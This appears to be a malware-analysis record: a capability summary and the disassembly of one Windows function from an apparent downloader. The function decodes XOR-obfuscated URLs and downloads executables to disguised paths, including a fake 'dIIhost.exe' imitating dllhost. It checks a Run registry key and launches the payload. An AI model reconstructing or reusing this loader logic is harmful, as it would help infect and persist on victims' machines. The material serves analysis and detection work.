Function at 0x140003bb0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Download url
Encode data using xor
Persist via run registry key
Query or enumerate registry value
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x1400aa020]
xor rax, rsp
mov qword [rbp + 0x80], rax
movdqa xmm0, xmmword [0x14009d970]
xor ebx, ebx
movdqa xmm1, xmmword [0x14009d980]
mov ecx, ebx
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0x5e723a71
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x64], 0x68757151
mov dword [rsp + 0x68], 0x737a3368
mov word [rsp + 0x6c], 0x4c
mov byte [rsp + 0x6e], 1
nop word [rax + rax]
lea eax, [rcx - 0xc]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x2d
jb 0x140003c20
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x6e], bl
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
movdqa xmm0, xmmword [0x14009d970]
mov rcx, rbx
movdqa xmm1, xmmword [0x14009d980]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0x39273a71
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x64], 0x76757c
mov byte [rsp + 0x68], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0xc]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x27
jb 0x140003c80
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x68], bl
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
movdqa xmm0, xmmword [0x14009d970]
mov rcx, rbx
movdqa xmm1, xmmword [0x14009d980]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0x5e723a71
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x64], 0x68757151
mov dword [rsp + 0x68], 0x737a3368
mov word [rsp + 0x6c], 0x4c
mov byte [rsp + 0x6e], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0xc]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x2d
jb 0x140003cf0
xor r9d, r9d
mov byte [rsp + 0x6e], bl
lea r8, str.C:Program_FilesdIIhost.exe
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x14009d970]
mov rcx, rbx
movdqa xmm1, xmmword [0x14009d980]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0x39273a71
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x64], 0x76757c
mov byte [rsp + 0x68], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0xc]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x27
jb 0x140003d60
xor r9d, r9d
mov byte [rsp + 0x68], bl
lea r8, str.C:WindowsSystem321.exe
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rax, [rsp + 0x38]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140003e06
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rdx, str.ReplacementProgram
lea rax, [rsp + 0x70]
mov dword [rsp + 0x30], 0x104
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x38]
test eax, eax
jne 0x140003e00
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140003e31
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140003890
test al, al
je 0x140003e31
mov dword [rsp + 0x28], ebx
lea r8, str.C:Program_FilesdIIhost.exe
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140050300
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x190
pop rbp
ret